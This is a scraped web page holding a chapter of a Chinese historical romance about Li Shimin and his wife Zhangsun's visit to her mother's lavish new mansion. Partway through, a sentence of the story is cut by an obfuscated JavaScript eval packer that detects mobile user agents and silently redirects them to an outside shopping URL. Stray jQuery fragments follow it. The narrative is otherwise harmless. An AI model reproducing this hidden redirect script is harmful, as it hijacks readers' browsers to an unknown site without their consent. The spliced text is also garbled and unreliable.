翌日一早,李世民送弗能回家探母。
自承乾殿出来往北而行,出玄武门而后沿皇城东墙一路向下,直至位于皇城之东,与皇城毗邻的崇仁坊东南停下。
弗能面带疑惑的往外看视,仰首只见眼前气宇恢宏的府门之上竖着一道朱漆大匾额,匾额之上赫然书写着“长孙府”三个大字,兄长长孙无忌便在匾额底下站立。
无忌脸蛋圆圆,五官线条亦如他圆圆脸型,给人一种温厚之感。见了李世民等,先上前来,揭开车帘,将脑袋探入车内,憨憨的笑着,扶妹妹下车。
高夫人同高士廉妻鲜于氏已经不再居住于小宅之中皆被李世民安排在崇仁坊内相当敞阔的宅邸之内,两家毗邻而居,而弗能先前并不知情。
此时,弗能一见兄长,便也猜到其中缘由,连连皱眉道:“阿兄,府邸太过宏奢,我辈何德何能,居于如此高堂广厦之内?”
无忌连忙辩解道:“不是我,是李世民要将母亲安排在此处的,我已经劝过的,他没答应,你不能怪我——”
大兴城从兴建到如今,一如隋室短暂的国祚,才不过区区四十余年。格局方正,皇城紧贴城北而建,一百一十个坊分布于皇城西面,东面,以及南面。皇城南面正门丹凤门所对的朱雀街,正好也是整个大兴城的中轴线。朱雀街贯通南北,南面尽头便是大兴城城门明德门,全街宽达五十丈。其他坊间街道亦笔直通衢贯穿南北或是东西,往来便捷,四通八达。
每一个坊都是规整的长方形,空间都相当广大,可满足为数万余的人众生活起居而不显拥挤。最为占居地理的是皇族以及各士族门阀。官居显要的大臣一个府邸常常要占居一坊的十六分之一或者八分之一,李家地处通义的家宅便气势宏敞,皇族则更为奢侈。
如今李氏入主长安,大权在握,李世民凭借其武功和现有权势,想要几处府邸岂会是什么难事。便拣了两处自觉满意的府邸,一处用于赡养阿姆高夫人,一处便用于安置母舅鲜于氏及弗能外祖母。
步入府门,弗能一路细看,气势之恢弘,是她身平未见,一问才知此处宅邸竟占崇仁坊四分之一,数倍于李氏在通义坊家宅。而崇仁坊内,仅仅只隔一道坊内十字街,街之西便是外祖母,舅母所居之高府。
弗能越看心内越不能自安,半路上便拉着李世民道:“真的太过了,我家人口单薄,母亲同阿兄根本无需如此大院。你换一处大小适中,出行便捷的清净院落便可。不必如此奢糜,将院落留着赐给有功之臣吧。”
李世民笑揽她肩:“小小一处府邸,你何必这样不自安,别说这一处,我若想多给几处,别人也不敢说什么。再说,如今我李氏即将成为皇族。你是我夫人,长孙氏便是国戚,居于此地本是合情合理之事。普天之下莫非王土,小小一处府邸怎需要你如此担惊?这出府地无论是大朝会时从前朝入大兴殿(太极殿)参朝,还是平日燕居时从玄武门入大内,都颇为便捷,我还算满意。再加上郊外数十倾良田,阿姆的奉养,你可以不必再操劳。”
弗能听了京畿之外还有数十倾良田。张着美丽的小口,更是惊诧的无以复加。只有连连摆首道:“不行不行不行……我知道你为了我好,可我并不喜欢你这样的安排。母亲颐养天年并不需要这样大宅——它甚至比以前我们李氏府邸还要大上许多倍。大人是几代公爵,府邸敞阔理所应当。而我阿兄既无功劳,又无显赫的德行。自起兵以来这一路的文武功臣,功绩比我兄长丰厚的比比皆是!而我家岂能仅仅因为是你妻族,便心安理得的接受?”
她着实忧惧不已——自幼好学,阅读历代经史典籍,稍显青涩的年龄虽使得她或许在阅历上未免不足,不过过人早慧的心智并不妨碍她于青史中总结历史兴亡之道,成败之理。
作为一个外戚之家,无功无劳,仅凭夫君一己私爱,便不知进退,不懂谦让,而安享如此丰厚赡养——这样的家族必然不能长久。汉之吕氏、霍光等便是前车之鉴。更何况,此时李世民不过区区“亲王”之身,他如此毫无遮掩的运用他手中权势,谋福利于私党,是否会遭受功劳丰厚的其他文臣武将的不满,亦或是因为他的处置又是偏颇,在众人面前而离心离德?这样锋芒毕露的个性,是否真的不足为虑?
一想到此事可能的隐患,弗能蹙眉连连摆首,脸上是浓浓的忧惧神色,手心都汗涔涔的。
李世民任她一路摆首,牵起她手置于自己腹部,用锦衣蹭去那一方微凉。一同走到高夫人居所。
高夫人早已立在堂前外屋檐底下,面带微笑相迎。
李世民放下她手,笑道:“阿姆就在眼前,你还不快去!”
弗能闻言,仰首,见了母亲。离别数年的亲情思念,而母亲猝然间便近在眼前,悲喜交加的复杂情感令她将万事都抛在一边,紧走几步至高夫人身前。久别重逢亦不知何言以道。唯有屈膝伏地跪在高夫人足下,深深一拜:“母亲,孩儿不孝,您受苦了!”
有颗颗透明晶莹清泪坠落于高夫人足下,纹理细腻的黑金石板之上。留下数滴边缘微微晕开的黑色水迹。
高夫人亦鼻尖酸酸,不过更多的是欢喜。双手扶起跪在足下的弗能,抽出扪在怀中的素色绣帕,为弗能拭去脸上泪渍,自己亦压压双眼,拭去眸中之泪,笑道:“为娘没受什么大难,倒是我儿担惊了。”
自从弗能出嫁的那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17880490|212440||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
日起,做母亲的就很清楚从此以后孩儿将不能常伴身侧,即便两家都是同居于长安城内的世家,仅仅几坊之隔,亦不是想见就能轻易相见——出嫁的女儿回家省亲归宁都有规定的礼节要遵循。只要弗能在夫家安安顺顺,即便不能常常相见亦是高夫人最大的欣慰。这也是为什么,赵太后握着即将出嫁他国为王后的女儿之足,满含热泪却又狠心的道出“你从此以后再也不要回家”之语。
李氏起兵至长安未破的那些日月。高夫人亦受到牵连,随同李氏女眷一道充入掖庭,受了不少苦楚,亦亲眼见证了郑娘子所遭受的悲惨。母子俱殒的惨烈境况,令高夫人唯有庆幸,弗能没有随众在列,避免了这场灾祸。
不过所有的苦难都随着李氏入城迎刃而解。这半年来,虽然天各一方,只要知道弗能安然妥帖,高夫人心中便十分安慰。
而对李世民,而无论是将弗能亲身携带于身边,还是这半年来对无忌同高氏的特殊关照,都令高夫人由衷勉慰。这份勉慰全然消除了高夫人心中哀戚,此时见了弗能,总算团圆,拭泪之后便是满满的笑意,搂着弗能一同进堂。
李世民将弗能送至内堂,便别过阿姆,带着无忌出府去了。
弗能又细细问了母亲这一年以来家中所生之事。高夫人轻简叙述往日遭遇,脸上不见一点悲戚之色,连连夸赞李世民,弗能也就放心。
之后,弗能在母亲陪伴之下,走过西面去拜见外祖母同舅母鲜于氏。两府毗邻,紧紧只隔一道崇仁坊内一街。
一家人相聚,自是欢喜无限,唯有高士廉尚在岭南莽荒之地,山遥水远,外祖母脸上有些郁郁。
弗能见了便笑着向外祖母道:“阿婆不必担忧,舅舅谪贬岭南或许是件幸事——因为杨玄感一事坐连谪贬岭南,得以远离长安。避免了去年的那场祸事。也算是不幸中之万幸。”
鲜于氏是个性情开爽妇人,此时便连忙道:“母亲,观音婢所言极是,古语常言大难不死必有后福。您就等着世民平定天下,接他舅舅回来吧!”
一提起外孙女婿,外祖母布着细细皱纹的脸上便笑的合不拢嘴,立即问:“那孩子呢,怎么没见着?”
高夫人忙凑到母亲耳边道:“他军务忙得很,把观音婢送来就马上带着无忌出去了,你知道他风风火火的性子。改天落了空,再让观音婢领着他看望母亲!”
外祖母连连摆手,蠕动牙床松动的下颌道:“让他忙去……让他忙去……”
一家人有说有笑,弗能听长辈们满口不绝地称赞李世民,一提起来都是笑由心生的样子,不见一丝因那数月苦难而引起的哀苦之心,心下放心的同时,亦是羞稔无限……